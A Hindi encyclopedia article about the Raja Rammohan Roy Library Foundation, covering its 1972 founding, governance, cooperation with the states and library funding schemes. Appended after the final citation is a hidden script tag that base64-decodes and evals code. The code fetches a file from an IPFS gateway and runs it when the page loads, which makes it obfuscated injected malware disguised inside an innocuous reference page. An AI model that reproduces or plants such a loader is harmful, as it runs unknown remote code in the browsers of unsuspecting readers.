राजा राम मोहन राय पुस्तकालय प्रतिष्ठान

राजा राम मोहन राय पुस्तकालय प्रतिष्ठान (अंग्रेज़ी: Raja Rammohan Roy Library Foundation) की स्थापना मई 1972 को की गई थी। यह भारत सरकार के संस्कृति मंत्रालय द्वारा निर्देषित किया जाता है। यह भारत सरकार की नोडल एजेंसी है जो अपने संघ के ज्ञापन में सम्मिलित उद्देश्यों के अनुरूप लोक पुस्तकालय सेवाओं और देश में लोक पुस्तकालय आन्दोलन को प्रोन्नत करने में मदद प्रदान करती है। आरआरआरएलएफ की सर्वोच्च नीति निर्धारक निकाय को प्रतिष्ठान कहते हैं, इसमें भारत सरकार द्वारा नामित 22 सदस्य हैं, जो प्रसिद्ध शिक्षाविद, पुस्तकालयाध्यक्ष, प्रशासक और वरिष्ठ अधिकारी होते हैं। संस्कृति मंत्रालय, भारत सरकार के मंत्री या उनके द्वारा नामित व्यक्ति आरआरआरएलएफ का अध्यक्ष होता है।

स्थापना

2005-2006 से फाउंडेशन ने नेहरू युवा केंद्र संगठन, खेल और युवा मामलों के मंत्रालय के तहत एक स्वायत्त संगठन के साथ मिलकर जिला युवा संसाधन केंद्र को विकसित करने की पहल की है। वर्ष 1972 भारत में पुस्तकालय आंदोलन के इतिहास में एक महत्वपूर्ण वर्ष है। देश अपनी स्वतंत्रता की रजत जयंती मना रहा था। यह एक प्रमुख समाज सुधारक राजा राममोहन राय के जन्म का द्विवर्षीय वर्ष था, जिन्होंने राष्ट्र की प्रगति के लिए आधुनिक शिक्षा की आवश्यकता पर बल दिया था। वर्ष को अंतर्राष्ट्रीय पुस्तक वर्ष के रूप में भी मनाया जा रहा था, जिसमें स्लोगन बुक्स फॉर ऑल था। अपने जीवन की बेहतरी के लिए आम जनता के बीच पढ़ने की आदत को बढ़ावा देने पर जोर दिया गया। इस शुभ वर्ष में राजा राममोहन राय लाइब्रेरी फाउंडेशन की स्थापना मई 1972 में संस्कृति विभाग, भारतसरकार द्वारा की गई थी। भारत राज्य सरकारों, केंद्र शासित प्रदेशों के प्रशासन और क्षेत्र में काम करने वाले संगठनों के सहयोग से पूरे देश में पुस्तकालय सेवाओं का प्रसार करने के लिए।^[1]

पंजीकरण व उद्देश्य

आरआरआरएलएफ एक केंद्रीय स्वायत्त संगठन है, जो भारत सरकार के संस्कृति मंत्रालय द्वारा पूरी तरह से स्थापित और वित्तपोषित है। आरआरआरएलएफ पश्चिम बंगाल सोसायटी पंजीकरण अधिनियम, 1961 के तहत पंजीकृत है। यह भारत सरकार की नोडल एजेंसी है, जो सार्वजनिक पुस्तकालय सेवाओं और प्रणालियों का समर्थन करती है और देश में सार्वजनिक पुस्तकालय आंदोलन को बढ़ावा देती है, जिसका उद्देश्य इसके मेमोरेंडम ऑफ एसोसिएशन में निहित उद्देश्यों के साथ है।

आरआरआरएलएफ के सर्वोच्च नीति-निर्माण निकाय को फाउंडेशन कहा जाता है। इसमें प्रख्यात शिक्षाविदों, पुस्तकालयाध्यक्षों, प्रशासकों और वरिष्ठ अधिकारियों के बीच भारत सरकार द्वारा नामित 22 सदस्य शामिल हैं। संस्कृति विभाग, भारत सरकार के मंत्री या उनके नामित व्यक्ति आरआरआरएलएफ के अध्यक्ष हैं।

सहयोग

फाउंडेशन अलग राज्य सरकार के साथ निकट सहयोग और सक्रिय सहयोग में काम करता है और संघ राज्य पुस्तकालय योजना समिति नामक एक मशीनरी के माध्यम से संघ राज्य प्रशासन प्रत्येक राज्य में फाउंडेशन के उदाहरण पर स्थापित किया गया है। फाउंडेशन के कार्यक्रमों में भाग लेने के लिए, फाउंडेशन द्वारा तय की गई एक निश्चित राशि का योगदान करने के लिए एक राज्य सरकार/संघ राज्य क्षेत्र की आवश्यकता होती है।^[1]

योजनायें

यह प्रतिष्ठान पुस्तकालय विज्ञान के लिए अनेक योजनायें चलाता है, कुछ योजनाओं के अन्तर्गत शत प्रतिशत तथा कुछ योजनाओं के अन्तर्गत 50 प्रतिशत वित्तिय सहायता प्रदान की जाती है।

शत् प्रतिशत वित्तिय सहायता-

केन्द्रीय संयोजित पुस्तकालयो की सहायता
बाल पुस्तकालय

50 प्रतिशत वित्तिय सहायता-

बडे पुस्तकालय
भवन निर्माण
चलित पुस्तकालय सेवा

राजा राम मोहन राय पुस्तकालय प्रतिष्ठान भारत में 70 हजार सार्वजनिक पुस्तकालयो में से 34 हजार के करीब पुस्तकालयों को सहायता प्रदान करता है।

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शोध

टीका टिप्पणी और संदर्भ

↑ ^1.0 ^1.1 Raja Rammohan Roy Library Foundation in HIndi (हिंदी) librarysciencewithrakeshmeena.blogspot.com। अभिगमन तिथि: 22 सितंबर, 2021।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>